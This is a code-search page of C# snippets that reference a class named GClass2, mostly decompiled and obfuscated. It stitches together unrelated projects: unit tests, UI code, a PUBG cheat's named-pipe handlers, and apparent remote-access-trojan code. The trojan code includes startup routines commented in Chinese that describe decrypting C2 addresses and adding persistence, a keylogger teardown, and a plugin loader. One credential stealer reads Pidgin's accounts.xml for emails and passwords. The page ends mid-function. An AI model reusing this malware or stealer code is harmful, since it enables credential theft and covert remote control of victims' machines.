Exemple #1
0
    public bool nEnpaOxOX(IEnumerable <p2Lmrea3T7dTWk4rRI> ienumerable_0)
    {
        if (this.Count != ienumerable_0.Count <p2Lmrea3T7dTWk4rRI>())
        {
            return(false);
        }
        object obj = this.object_0;

        lock (obj)
        {
            IEnumerator <p2Lmrea3T7dTWk4rRI> enumerator = this.GetEnumerator();
            enumerator.Reset();
            foreach (p2Lmrea3T7dTWk4rRI p2Lmrea3T7dTWk4rRI in ienumerable_0)
            {
                enumerator.MoveNext();
                p2Lmrea3T7dTWk4rRI p2Lmrea3T7dTWk4rRI2 = enumerator.Current;
                if (p2Lmrea3T7dTWk4rRI2.Equals(p2Lmrea3T7dTWk4rRI))
                {
                    return(false);
                }
            }
            GClass2.smethod_0(enumerator);
        }
        return(true);
    }
Exemple #2
0
        public void testGenericClass2b()
        {
            var x    = new GClass2 <string>();
            var type = x.TypeOfY <Java.Lang.Package>();

            AssertEquals("Package", type.Name);
        }
Exemple #3
0
    private void method_23()
    {
        object obj = this.object_0;

        lock (obj)
        {
            IEnumerator enumerator  = this.list_2.GetEnumerator();
            IEnumerator enumerator2 = this.ObsColl.GetEnumerator();
            enumerator.Reset();
            enumerator2.Reset();
            bool flag2 = enumerator.MoveNext();
            bool flag3 = enumerator2.MoveNext();
            while (flag2 || flag3)
            {
                if (flag2)
                {
                    flag2 = enumerator.MoveNext();
                }
                if (flag3)
                {
                    flag3 = enumerator2.MoveNext();
                }
            }
            GClass2.smethod_0(enumerator);
            GClass2.smethod_0(enumerator2);
        }
    }
Exemple #4
0
        public void testGenericClass2a()
        {
            var x    = new GClass2 <string>();
            var type = x.TypeOfT();

            AssertEquals("String", type.Name);
        }
 public void method_0()
 {
     try
     {
         string xml;
         using (WebClient webClient = new WebClient())
         {
             xml = webClient.DownloadString(this.string_1 + "/main.xml");
         }
         XmlDocument xmlDocument = new XmlDocument();
         xmlDocument.LoadXml(xml);
         XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("repofile");
         XmlNodeList elementsByTagName2 = ((XmlElement)elementsByTagName[0]).GetElementsByTagName("information");
         foreach (XmlElement xmlElement in elementsByTagName2)
         {
             XmlNodeList elementsByTagName3 = xmlElement.GetElementsByTagName("id");
             XmlNodeList elementsByTagName4 = xmlElement.GetElementsByTagName("name");
             this.string_0 = elementsByTagName4[0].InnerText;
             this.string_2 = elementsByTagName3[0].InnerText;
         }
         XmlNodeList elementsByTagName5 = ((XmlElement)elementsByTagName[0]).GetElementsByTagName("category");
         foreach (XmlElement xmlElement2 in elementsByTagName5)
         {
             XmlNodeList elementsByTagName3 = xmlElement2.GetElementsByTagName("id");
             XmlNodeList elementsByTagName4 = xmlElement2.GetElementsByTagName("name");
             GClass2 gClass = new GClass2();
             gClass.string_1 = elementsByTagName4[0].InnerText;
             gClass.string_0 = elementsByTagName3[0].InnerText;
         }
     }
     catch
     {
     }
 }
Exemple #6
0
 // Token: 0x06000135 RID: 309 RVA: 0x00002923 File Offset: 0x00000B23
 public GClass2()
 {
     GClass2.smethod_2(this, GClass2.smethod_1(new GClass2.GClass3()));
     GClass2.smethod_3(this, false);
     GClass2.smethod_4(this, Color.White);
     GClass2.smethod_6(this, GClass2.smethod_5("Segoe UI", 8f));
 }
Exemple #7
0
    public bool method_23(IEnumerable <BuWIYp6s752jjOVqba> ienumerable_0)
    {
        if (this.Count != ienumerable_0.Count <BuWIYp6s752jjOVqba>())
        {
            return(false);
        }
        object obj = this.object_0;

        lock (obj)
        {
            IEnumerator <BuWIYp6s752jjOVqba> enumerator = this.GetEnumerator();
            enumerator.Reset();
            foreach (BuWIYp6s752jjOVqba buWIYp6s752jjOVqba in ienumerable_0)
            {
                enumerator.MoveNext();
                BuWIYp6s752jjOVqba buWIYp6s752jjOVqba2 = enumerator.Current;
                if (buWIYp6s752jjOVqba2.Equals(buWIYp6s752jjOVqba))
                {
                    return(false);
                }
            }
            GClass2.smethod_0(enumerator);
        }
        return(true);
    }
Exemple #8
0
    // Token: 0x060003BC RID: 956 RVA: 0x0103A260 File Offset: 0x01038460
    public void method_0()
    {
        string   text    = string.Format("\\\\{0}\\pipe\\{1}", ".", "IHMPipe");
        IntPtr   intPtr  = IntPtr.Zero;
        GStruct1 gstruct = default(GStruct1);
        GStruct0 structure;

        GClass2.InitializeSecurityDescriptor(out structure, 1);
        GClass2.SetSecurityDescriptorDacl(ref structure, true, IntPtr.Zero, false);
        gstruct.intptr_0 = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(GStruct0)));
        Marshal.StructureToPtr <GStruct0>(structure, gstruct.intptr_0, false);
        gstruct.bool_0 = false;
        gstruct.int_0  = Marshal.SizeOf(typeof(GStruct1));
        intPtr         = Marshal.AllocHGlobal(gstruct.int_0);
        Marshal.StructureToPtr <GStruct1>(gstruct, intPtr, false);
        IntPtr intptr_ = GClass1.CreateNamedPipe(text, GEnum3.PIPE_ACCESS_DUPLEX, (GEnum4)6u, 255u, 4096u, 4096u, 0u, intPtr);

        if (intptr_.ToInt32() == -1)
        {
            Console.WriteLine("Unable to create named pipe {0} w/err 0x{1:X}", text, GClass1.GetLastError());
            return;
        }
        Console.WriteLine("The named pipe, {0}, is created.", text);
        Console.WriteLine("Waiting for the client's connection...");
        if (!GClass1.ConnectNamedPipe(intptr_, IntPtr.Zero) && (ulong)GClass1.GetLastError() != 535UL)
        {
            Console.WriteLine("Error occurred while connecting to the client: 0x{0:X}", GClass1.GetLastError());
            GClass1.CloseHandle(intptr_);
            return;
        }
        for (;;)
        {
            byte[] array = new byte[4096];
            uint   num;
            if (!GClass1.ReadFile(intptr_, array, 4096u, out num, IntPtr.Zero))
            {
                goto IL_12A;
            }
            if (num == 0u)
            {
                goto IL_12A;
            }
IL_134:
            string text2 = Encoding.Default.GetString(array).TrimEnd(new char[1]);
            Console.WriteLine("Receives {0} bytes; Message: \"{1}\"", num, text2);
            if (!(text2 == "why are you gao\nlol\t\r\n"))
            {
                continue;
            }
            break;
IL_12A:
            Console.WriteLine("Read Failed or Finished!");
            goto IL_134;
        }
        Class17.bool_0 = true;
        GClass1.FlushFileBuffers(intptr_);
        GClass1.DisconnectNamedPipe(intptr_);
        GClass1.CloseHandle(intptr_);
    }
Exemple #9
0
 // Token: 0x060005BB RID: 1467
 private static void smethod_2()
 {
     //判断判断互斥体是否多开,有则失去连接,并且返回
     if (!GClass2.smethod_0(GClass35.string_6))
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //解密Key
     GClass18.smethod_0(GClass35.string_2);
     //将上线地址解密放进队列在给实体类复制 (说明支持多地址上线)
     Class10.gclass25_0 = new GClass25(GClass6.smethod_0(GClass35.string_1));
     //解密远程文件下载路径 %AppData%/Subdir/client.exe
     GClass0.InstallPath = Path.Combine(GClass35.string_3, ((!string.IsNullOrEmpty(GClass35.string_4)) ? (GClass35.string_4 + "\\") : "") + GClass35.string_5);
     //geoip信息获取ip地理位置国家等信息
     GClass34.smethod_0();
     //判断上线地址是否失败
     if (Class10.gclass25_0.IsEmpty)
     {
         GClass0.Disconnect = true;
     }
     if (GClass0.Disconnect)
     {
         return;
     }
     //删除当前目录下的后缀为:Zone.Identifier
     GClass4.smethod_2(GClass0.CurrentPath);
     //判断当前目录是否是下载目录如果不是则进入
     if (GClass35.bool_0 && !(GClass0.CurrentPath == GClass0.InstallPath))
     {
         //互斥体存在则关闭
         GClass2.smethod_1();
         //运行下载路径的文件
         GClass13.smethod_0(Class10.client_0);
         return;
     }
     //用户状态更新线程 五秒更新一次
     GClass3.smethod_2();
     //添加程序到用户启动项
     if (GClass35.bool_1 && GClass35.bool_0 && !GClass16.smethod_1())
     {
         GClass0.AddToStartupFailed = true;
     }
     //添加并初始化实体类
     Class10.smethod_1();
     if (GClass35.bool_3)
     {
         if (Class10.threadStart_0 == null)
         {
             Class10.threadStart_0 = new ThreadStart(Class10.smethod_9);
         }
         new Thread(Class10.threadStart_0).Start();
         return;
     }
 }
Exemple #10
0
 protected override void PrepareRomIfNecessary(bool directDownload)
 {
     Class67.smethod_10();
     if (this.bool_0 && !Cemu._gPackApplied)
     {
         GClass2.smethod_0();
         Cemu._gPackApplied = true;
     }
     base.PrepareRomIfNecessary(directDownload);
     this.PrepareUpdateIfNecessary(directDownload);
     this.PrepareDlcIfNecessary(directDownload);
 }
Exemple #11
0
 // Token: 0x06000339 RID: 825 RVA: 0x0001E6D4 File Offset: 0x0001C8D4
 public Class84(string string_5, Class4 class4_1, JToken jtoken_1)
 {
     this.class4_0 = class4_1;
     this.jtoken_0 = jtoken_1;
     this.string_3 = GClass2.smethod_2(32);
     this.string_1 = new Uri(string_5).Query.Split(new char[]
     {
         '&'
     }).Where(new Func <string, bool>(Class84.Class85.class85_0.method_0)).First <string>().Split(new char[]
     {
         '='
     })[1];
     this.string_0 = string.Format(Class185.smethod_0(537685390), this.string_1);
 }
Exemple #12
0
 // Token: 0x06000339 RID: 825 RVA: 0x0001BAA4 File Offset: 0x00019CA4
 public Class84(string string_5, Class4 class4_1, JToken jtoken_1)
 {
     this.class4_0 = class4_1;
     this.jtoken_0 = jtoken_1;
     this.string_3 = GClass2.smethod_2(32);
     this.string_1 = new Uri(string_5).Query.Split(new char[]
     {
         '&'
     }).Where(new Func <string, bool>(Class84.Class85.class85_0.method_0)).First <string>().Split(new char[]
     {
         '='
     })[1];
     this.string_0 = string.Format("https://www.paypal.com/webapps/xoonboarding?token={0}&useraction=commit&country.x=US&locale.x=en_US&country.x=US&locale.x=en_US#", this.string_1);
 }
Exemple #13
0
    // Token: 0x060002E8 RID: 744 RVA: 0x000180E4 File Offset: 0x000162E4
    public static void smethod_0(string string_1, string string_2, Notification.GEnum0 genum0_0, bool bool_0)
    {
        Notification.Class75 @class = new Notification.Class75();
        @class.genum0_0 = genum0_0;
        @class.string_0 = string_1;
        @class.string_1 = string_2;
        string string_3 = GClass2.smethod_2(10);

        Notification.string_0 = string_3;
        Notification.notification_0.Show();
        Notification.smethod_3(new Action(@class.method_0));
        if (bool_0)
        {
            Notification.smethod_1(string_3);
        }
    }
Exemple #14
0
    // Token: 0x060002E8 RID: 744 RVA: 0x0001A70C File Offset: 0x0001890C
    public static void smethod_0(string string_1, string string_2, GForm4.GEnum0 genum0_0, bool bool_0)
    {
        GForm4.Class75 @class = new GForm4.Class75();
        @class.genum0_0 = genum0_0;
        @class.string_0 = string_1;
        @class.string_1 = string_2;
        string string_3 = GClass2.smethod_2(10);

        GForm4.string_0 = string_3;
        GForm4.gform4_0.Show();
        GForm4.smethod_3(new Action(@class.method_0));
        if (bool_0)
        {
            GForm4.smethod_1(string_3);
        }
    }
Exemple #15
0
    // Token: 0x0600001E RID: 30 RVA: 0x000033C4 File Offset: 0x000015C4
    public static void smethod_4(object[] object_0)
    {
        List <GClass2> list = new List <GClass2>();
        int            num  = 0;
        int            num2 = object_0.Length - 1;

        for (int i = num; i <= num2; i += 5)
        {
            GClass2 gclass = new GClass2();
            gclass.guid_0     = (Guid)object_0[i];
            gclass.dateTime_0 = (DateTime)object_0[i + 1];
            gclass.string_0   = (string)object_0[i + 2];
            gclass.bool_0     = (bool)object_0[i + 3];
            gclass.byte_0     = (byte[])object_0[i + 4];
            gclass.byte_1     = Class27.smethod_2(gclass.byte_0);
            Class8.list_2.Add(gclass);
            list.Add(gclass);
            if (gclass.bool_0)
            {
                Class5.bool_1 = true;
            }
        }
        if (Class5.bool_1)
        {
            Class8.smethod_7();
        }
        if (Class5.bool_0)
        {
            Class8.smethod_41();
            return;
        }
        Class8.smethod_87("Loading plugins..");
        try
        {
            foreach (GClass2 gclass2 in list)
            {
                Class23.smethod_0(gclass2.byte_0, gclass2);
            }
        }
        finally
        {
            List <GClass2> .Enumerator enumerator;
            ((IDisposable)enumerator).Dispose();
        }
        Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 3, new object[0]);
    }
Exemple #16
0
 // Token: 0x060005B9 RID: 1465
 private static void smethod_0()
 {
     GClass17.smethod_29();
     if (GClass17.unsafeStreamCodec_0 != null)
     {
         GClass17.unsafeStreamCodec_0.Dispose();
     }
     if (Keylogger.Instance != null)
     {
         Keylogger.Instance.Dispose();
     }
     if (Class10.applicationContext_0 != null)
     {
         Class10.applicationContext_0.ExitThread();
     }
     GClass2.smethod_1();
 }
Exemple #17
0
    // Token: 0x060000FE RID: 254 RVA: 0x00006EC4 File Offset: 0x000050C4
    public static void smethod_2(Guid guid_0, object[] object_0)
    {
        GClass2 gclass = Class23.smethod_1(guid_0);

        if (gclass != null)
        {
            try
            {
                gclass.gclass3_0.method_7(null, object_0);
                return;
            }
            catch (Exception exception_)
            {
                Class8.smethod_85(gclass.gclass3_0, exception_, "ReadPacket []");
                return;
            }
        }
        throw new Exception(string.Format("No instance of plugin '{0}' could be found.", guid_0));
    }
Exemple #18
0
        public static void Test_FastJson_GClass_01()
        {
            // ok car GClass2 est dans runsource.dll
            Trace.WriteLine("Test_FastJson_GClass_01");
            GClass2 <string, string> gclass1 = new GClass2 <string, string> {
                Value1 = "toto", Value2 = "tata"
            };

            Trace.WriteLine("JSON.ToJSON(gclass1)");
            string json = JSON.ToJSON(gclass1);

            Trace.WriteLine("json :");
            Trace.WriteLine(json);
            Trace.WriteLine("JSON.ToObject<GClass2<string, string>>(json)");
            GClass2 <string, string> gclass2 = JSON.ToObject <GClass2 <string, string> >(json);

            Trace.WriteLine("gclass2.Value1 \"{0}\"", gclass2.Value1);
            Trace.WriteLine("gclass2.Value2 \"{0}\"", gclass2.Value1);
        }
Exemple #19
0
    // Token: 0x0600017E RID: 382 RVA: 0x000102D4 File Offset: 0x0000E4D4
    public static Task <HttpResponseMessage> smethod_1(string string_0, JObject jobject_0, bool bool_0)
    {
        if (GClass2.concurrentDictionary_0.ContainsKey(string_0))
        {
            if (GClass2.concurrentDictionary_0[string_0].task_0.Status == TaskStatus.WaitingForActivation)
            {
                GClass2.concurrentDictionary_0[string_0].dateTime_0 = DateTime.Now;
                goto IL_8B;
            }
        }
        if (bool_0)
        {
            GClass3.smethod_0("Starting monitor for: " + new Uri(string_0).Authority, "Monitor");
        }
        GClass4 gclass = new GClass4();

        GClass2.concurrentDictionary_0[string_0]        = gclass;
        GClass2.concurrentDictionary_0[string_0].task_0 = GClass2.smethod_0(gclass, string_0, jobject_0);
IL_8B:
        return(GClass2.concurrentDictionary_0[string_0].task_1);
    }
Exemple #20
0
 // Token: 0x0600011C RID: 284 RVA: 0x00008234 File Offset: 0x00006434
 public static void smethod_0(byte[] byte_0, GClass2 gclass2_0)
 {
     try
     {
         GClass3 gclass = new GClass3(gclass2_0.guid_0, gclass2_0.string_0);
         gclass2_0.gclass3_0 = gclass;
         Type type = Class27.smethod_0(byte_0, Class6.type_0, Class6.type_1);
         if (type == null)
         {
             throw new Exception("Client assembly does not meet plugin type requirements.");
         }
         List <object>   list            = new List <object>();
         ConstructorInfo constructorInfo = type.GetConstructors()[0];
         foreach (ParameterInfo parameterInfo in constructorInfo.GetParameters())
         {
             if (typeof(IClientDataHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass1(gclass));
             }
             else if (typeof(IClientNetworkHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass4(gclass));
             }
             else if (typeof(IClientUIHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass9(gclass));
             }
             else if (typeof(IClientLoggingHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass7(gclass));
             }
             else if (typeof(IClientAppHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass10(gclass));
             }
             else
             {
                 list.Add(null);
             }
         }
         object objectValue = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type, list.ToArray()));
         foreach (Type o in type.GetInterfaces())
         {
             if (typeof(IClientData).Equals(o))
             {
                 gclass.iclientData_0 = (IClientData)objectValue;
             }
             else if (typeof(IClientNetwork).Equals(o))
             {
                 gclass.iclientNetwork_0 = (IClientNetwork)objectValue;
             }
             else if (typeof(IClientApp).Equals(o))
             {
                 gclass.iclientApp_0 = (IClientApp)objectValue;
             }
         }
         Class8.smethod_87(string.Format("Plugin: {0}, Cache: {1}", gclass2_0.string_0, gclass2_0.bool_0));
         if (!Class8.list_2.Contains(gclass2_0))
         {
             Class8.list_2.Add(gclass2_0);
         }
     }
     catch (Exception exception_)
     {
         Class8.smethod_85(gclass2_0.gclass3_0, exception_, "InitializePlugin");
     }
 }
Exemple #21
0
        public PrintIssue Find(string filename)
        {
            WriteLine("search \"{0}\"", filename);
            PrintIssue issue          = null;
            PrintIssue lastIssueError = null;
            //List<GClass2<PrintIssue, RegexValues>> issues = new List<GClass2<PrintIssue,RegexValues>>();
            List <GClass2 <PrintIssue, MatchValues> > issues = new List <GClass2 <PrintIssue, MatchValues> >();
            bool foundIssue = false;

            filename = zstr.ReplaceUTF8Code(filename);
            filename = filename.Replace('\u0430', 'a');
            filename = filename.Replace('\u0435', 'e');
            filename = filename.Replace('\u043E', 'o');
            WriteLine("search \"{0}\"", filename);
            foreach (RegexValues rv in _printRegexList.Values)
            {
                //issue = Match(rv, filename);
                GClass2 <PrintIssue, MatchValues> gc = Match(rv, filename);
                //if (issue != null && issue.Error == null)
                if (gc.Value1 != null && gc.Value1.Error == null)
                {
                    Print print = issue.Print;

                    //if (issue.Match(print.NormalizedFilename, filename))
                    MatchValues matchValues = issue.Match(print.NormalizedFilename, filename);
                    if (matchValues != null)
                    {
                        foundIssue = true;
                        break;
                    }
                    //if (issue.Match(print.NormalizedSpecialFilename, filename))
                    matchValues = issue.Match(print.NormalizedSpecialFilename, filename);
                    if (matchValues != null)
                    {
                        foundIssue = true;
                        break;
                    }

                    //issues.Add(new GClass2<PrintIssue, RegexValues>(issue, rv));
                    issues.Add(new GClass2 <PrintIssue, MatchValues>(issue, gc.Value2));
                }

                //if (issue != null && issue.Error != null)
                if (gc.Value1 != null && gc.Value1.Error != null)
                {
                    lastIssueError = issue;
                }
            }

            if (!foundIssue)
            {
                //foreach (GClass2<PrintIssue, RegexValues> issue2 in issues)
                foreach (GClass2 <PrintIssue, MatchValues> issue2 in issues)
                {
                    issue = issue2.Value1;
                    //RegexValues rv = issue2.Value2;
                    MatchValues matchValues = issue2.Value2;
                    Print       print       = issue.Print;
                    //string filename2 = filename = rv.MatchReplace_old("_");
                    string filename2 = filename = matchValues.Replace("_");

                    FindSpecial(issue, ref filename2);

                    if (print.Frequency != PrintFrequency.Daily && print.Frequency != PrintFrequency.Weekly)
                    {
                        if (FindNumber(issue, filename2))
                        {
                            foundIssue = true;
                        }
                        //if (issue.Error != null)
                        //    lastIssueError = issue;
                    }


                    bool foundDate = false;
                    if (!foundIssue)
                    {
                        if (FindDate(issue, ref filename2))
                        {
                            foundDate = true;
                        }
                        //if (issue.Error != null)
                        //    lastIssueError = issue;
                    }

                    if (!foundIssue && print.Frequency != PrintFrequency.Daily)
                    {
                        if (FindNumber(issue, filename2))
                        {
                            foundIssue = true;
                        }
                        //if (issue.Error != null)
                        //    lastIssueError = issue;
                    }

                    if (foundDate)
                    {
                        foundIssue = true;
                    }

                    if (!foundIssue && (print.Frequency == PrintFrequency.Daily || print.Frequency == PrintFrequency.Weekly))
                    {
                        if (FindDay(issue, filename2))
                        {
                            foundIssue = true;
                        }
                        //if (issue.Error != null)
                        //    lastIssueError = issue;
                    }

                    if (issue.Error != null)
                    {
                        lastIssueError = issue;
                    }

                    if (foundIssue)
                    {
                        break;
                    }
                }
            }

            if (!foundIssue)
            {
                if (_trace)
                {
                    WriteLine("print not found \"{0}\"", filename);
                }
                return(lastIssueError);
            }

            issue.Control();
            return(issue);
        }
Exemple #22
0
        public void testGClass2b()
        {
            object x = new GClass2 <MyClass, MyClass2>().NewT2();

            AssertTrue(x is MyClass2);
        }
        public void testGClass2()
        {
            var x = new GClass2 <MyClass3>(new MyClass3());

            AssertEquals(15, x.GetValue());
        }
Exemple #24
0
 // Token: 0x06000136 RID: 310 RVA: 0x00002962 File Offset: 0x00000B62
 protected virtual void OnPaint(PaintEventArgs e)
 {
     base.OnPaint(e);
     GClass2.smethod_8(GClass2.smethod_7(e), TextRenderingHint.ClearTypeGridFit);
 }
Exemple #25
0
    // Token: 0x06000086 RID: 134 RVA: 0x00005BE4 File Offset: 0x00003DE4
    public static object smethod_1()
    {
        string path  = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\.purple\\accounts.xml";
        string path2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\.purple/blist.xml";
        string text  = File.ReadAllText(path);
        string text2 = File.ReadAllText(path2);

        string[] separator = new string[]
        {
            "<account>"
        };
        string[] array      = text.Split(separator, StringSplitOptions.None);
        string[] separator2 = new string[]
        {
            "<account"
        };
        string[] array2 = text2.Split(separator2, StringSplitOptions.None);
        string   text3  = string.Empty;
        int      num    = 1;

        checked
        {
            int num2 = array.Length - 1;
            for (int i = num; i <= num2; i++)
            {
                string   text4  = GClass2.smethod_0(array[i], "<protocol>", "</protocol>", 0).Replace("prpl-", string.Empty);
                string   text5  = GClass2.smethod_0(array[i], "<name>", "</name>", 0);
                string   text6  = GClass2.smethod_0(array[i], "<password>", "</password>", 0);
                string   text7  = GClass2.smethod_0(array[i], "name='", "' active='true'", 0);
                string   text8  = GClass2.smethod_0(array[i], "<alias>", "</alias>", 0);
                string   text9  = GClass2.smethod_0(array[i], "<setting name='display-name' type='string'>", "</setting>", 0);
                string[] array3 = array2[i].Split(new char[]
                {
                    '<'
                });
                string str  = string.Empty;
                int    num3 = 1;
                int    num4 = array3.Length - 4;
                for (int j = num3; j <= num4; j += 2)
                {
                    str = str + array3[j].Replace("block>", "Blocked - ").Replace("permit>", "Permit - ") + "\r\n";
                }
                text3 = string.Concat(new string[]
                {
                    text3,
                    "Protocol: ",
                    text4,
                    "\r\nEmail: ",
                    text5,
                    "\r\nPassword: "******"\r\nLocal Alias: ",
                    text8,
                    "\r\nDisplay Name: ",
                    text9,
                    "\r\nLast Status: ",
                    text7,
                    "\r\n"
                });
            }
            return(text3);
        }
    }
Exemple #26
0
 // Token: 0x06000134 RID: 308 RVA: 0x00002914 File Offset: 0x00000B14
 protected virtual void OnTextChanged(EventArgs e)
 {
     base.OnTextChanged(e);
     GClass2.smethod_0(this);
 }
Exemple #27
0
 // Token: 0x0600001D RID: 29 RVA: 0x00003198 File Offset: 0x00001398
 public static void smethod_3(object[] object_0)
 {
     try
     {
         List <object> list  = new List <object>();
         List <Guid>   list2 = new List <Guid>();
         int           num   = 0;
         int           num2  = object_0.Length - 1;
         for (int i = num; i <= num2; i += 3)
         {
             Guid   guid  = (Guid)object_0[i];
             byte[] byte_ = (byte[])object_0[i + 1];
             bool   flag  = (bool)object_0[i + 2];
             list2.Add(guid);
             GClass2 gclass = Class23.smethod_1(guid);
             if (gclass == null)
             {
                 list.Add(guid);
             }
             else
             {
                 if (gclass.bool_0 != flag)
                 {
                     gclass.bool_0 = flag;
                     Class5.bool_1 = true;
                 }
                 if (!Class26.smethod_5(gclass.byte_1, byte_))
                 {
                     list.Add(guid);
                     Class5.bool_0 = true;
                     Class8.smethod_87(string.Format("Plugin [{0}] requires an update.", guid));
                 }
             }
         }
         Class8.smethod_5(list2.ToArray());
         try
         {
             foreach (GClass2 gclass2 in Class8.list_2)
             {
                 if (!list2.Contains(gclass2.guid_0))
                 {
                     Class5.bool_0 = true;
                     Class8.smethod_87(string.Format("Plugin [{0}] is being uninstalled.", gclass2.guid_0));
                     if (gclass2.bool_0)
                     {
                         Class5.bool_1 = true;
                     }
                     if (gclass2.gclass3_0 != null)
                     {
                         try
                         {
                             gclass2.gclass3_0.method_8();
                         }
                         catch (Exception exception_)
                         {
                             Class8.smethod_85(gclass2.gclass3_0, exception_, "PluginUninstalling");
                         }
                     }
                 }
             }
         }
         finally
         {
             List <GClass2> .Enumerator enumerator;
             ((IDisposable)enumerator).Dispose();
         }
         if (list.Count == 0 && Class5.bool_0)
         {
             if (Class5.bool_1)
             {
                 Class8.smethod_7();
             }
             Class8.smethod_41();
         }
         else
         {
             Class8.smethod_88(Class8.client_0, true, CommandType.PluginCommand, 2, list.ToArray());
         }
     }
     catch (Exception exception_2)
     {
         Class8.smethod_86(exception_2, "HandlePluginDetailsCommand");
     }
 }
Exemple #28
0
    // Token: 0x0600040D RID: 1037 RVA: 0x0103ADDC File Offset: 0x01038FDC
    public static void smethod_0()
    {
        string text2;
        IntPtr intptr_;

        for (;;)
        {
            string text = string.Empty;
            text2 = string.Format("\\\\{0}\\pipe\\{1}", ".", "IHPipe");
            IntPtr   intPtr  = IntPtr.Zero;
            GStruct1 gstruct = default(GStruct1);
            GStruct0 structure;
            GClass2.InitializeSecurityDescriptor(out structure, 1);
            GClass2.SetSecurityDescriptorDacl(ref structure, true, IntPtr.Zero, false);
            gstruct.intptr_0 = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(GStruct0)));
            Marshal.StructureToPtr <GStruct0>(structure, gstruct.intptr_0, false);
            gstruct.bool_0 = false;
            gstruct.int_0  = Marshal.SizeOf(typeof(GStruct1));
            intPtr         = Marshal.AllocHGlobal(gstruct.int_0);
            Marshal.StructureToPtr <GStruct1>(gstruct, intPtr, false);
            intptr_ = GClass1.CreateNamedPipe(text2, GEnum3.PIPE_ACCESS_DUPLEX, (GEnum4)6u, 255u, 4096u, 4096u, 0u, intPtr);
            if (intptr_.ToInt32() == -1)
            {
                break;
            }
            Console.WriteLine("The named pipe, {0}, is created.", text2);
            Console.WriteLine("Waiting for the client's connection...");
            if (!GClass1.ConnectNamedPipe(intptr_, IntPtr.Zero) && (ulong)GClass1.GetLastError() != 535UL)
            {
                goto IL_28F;
            }
            byte[] array = new byte[4096];
            Thread.Sleep(1000);
            uint num;
            if (!GClass1.ReadFile(intptr_, array, 4096u, out num, IntPtr.Zero) || num == 0u)
            {
                Console.WriteLine("Read Failed or Finished!");
            }
            string text3 = Encoding.Unicode.GetString(array).TrimEnd(new char[1]);
            Console.WriteLine("Receives {0} bytes; Message: \"{1}\"", num, text3);
            if (!text3.Contains("Initialize"))
            {
                if (text3.Contains("GetPath"))
                {
                    text = "\\DosDevices\\C:\\PUBG\\steamapps\\common\\PUBG\\TslGame\\Content\\Paks\\pakchunk5500-WindowsNoEditor_sound.pak";
                }
                else if (!text3.Contains("Injector"))
                {
                    if (text3.Contains("GetData"))
                    {
                        Class22.bool_0 = true;
                        text           = "l1l11llll1ll1l11llll1ll11ll1";
                    }
                    else if (text3.Contains("lnitialize"))
                    {
                        Class22.bool_2 = true;
                        text           = "l am stIll the only true gayceptor";
                    }
                }
                else
                {
                    text = "l1l11lllllllll11llllllllllll";
                }
            }
            else
            {
                Class22.bool_0 = true;
                text           = "I am the only true gayceptor";
            }
            if (text != string.Empty)
            {
                byte[] bytes = Encoding.Unicode.GetBytes(text);
                uint   num2  = (uint)bytes.Length;
                uint   num3;
                if (!GClass1.WriteFile(intptr_, bytes, num2, out num3, IntPtr.Zero) || num2 != num3)
                {
                    Console.WriteLine("WriteFile failed w/err 0x{0:X}", GClass1.GetLastError());
                }
                Console.WriteLine("Sends {0} bytes; Message: \"{1}\"", num3, text.TrimEnd(new char[1]));
                Thread.Sleep(500);
            }
            GClass1.FlushFileBuffers(intptr_);
            GClass1.DisconnectNamedPipe(intptr_);
            GClass1.CloseHandle(intptr_);
        }
        Console.WriteLine("Unable to create named pipe {0} w/err 0x{1:X}", text2, GClass1.GetLastError());
        return;

IL_28F:
        Console.WriteLine("Error occurred while connecting to the client: 0x{0:X}", GClass1.GetLastError());
        GClass1.CloseHandle(intptr_);
    }
Exemple #29
0
    // Token: 0x060003BD RID: 957 RVA: 0x0103A420 File Offset: 0x01038620
    public void method_1()
    {
        string text = string.Format("\\\\{0}\\pipe\\{1}", ".", "IHMHPipe");

        while (!Class17.bool_0)
        {
            Thread.Sleep(100);
        }
        IntPtr   intPtr  = IntPtr.Zero;
        GStruct1 gstruct = default(GStruct1);
        GStruct0 structure;

        GClass2.InitializeSecurityDescriptor(out structure, 1);
        GClass2.SetSecurityDescriptorDacl(ref structure, true, IntPtr.Zero, false);
        gstruct.intptr_0 = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(GStruct0)));
        Marshal.StructureToPtr <GStruct0>(structure, gstruct.intptr_0, false);
        gstruct.bool_0 = false;
        gstruct.int_0  = Marshal.SizeOf(typeof(GStruct1));
        intPtr         = Marshal.AllocHGlobal(gstruct.int_0);
        Marshal.StructureToPtr <GStruct1>(gstruct, intPtr, false);
        IntPtr intptr_ = GClass1.CreateNamedPipe(text, GEnum3.PIPE_ACCESS_DUPLEX, (GEnum4)6u, 255u, 4096u, 4096u, 0u, intPtr);

        if (intptr_.ToInt32() == -1)
        {
            Console.WriteLine("Unable to create named pipe {0} w/err 0x{1:X}", text, GClass1.GetLastError());
            return;
        }
        Console.WriteLine("The named pipe, {0}, is created.", text);
        Console.WriteLine("Waiting for the client's connection...");
        if (!GClass1.ConnectNamedPipe(intptr_, IntPtr.Zero) && (ulong)GClass1.GetLastError() != 535UL)
        {
            Console.WriteLine("Error occurred while connecting to the client: 0x{0:X}", GClass1.GetLastError());
            GClass1.CloseHandle(intptr_);
            return;
        }
        byte[] array = new byte[4096];
        Thread.Sleep(1000);
        uint num;

        if (!GClass1.ReadFile(intptr_, array, 4096u, out num, IntPtr.Zero) || num == 0u)
        {
            Console.WriteLine("Read Failed or Finished!");
        }
        string text2 = Encoding.Default.GetString(array).TrimEnd(new char[1]);

        Console.WriteLine("Receives {0} bytes; Message: \"{1}\"", num, text2);
        if (text2.Contains(Class17.List_1[0]))
        {
            string text3 = Class17.List_0[1];
            byte[] bytes = Encoding.Default.GetBytes(text3);
            uint   num2  = (uint)bytes.Length;
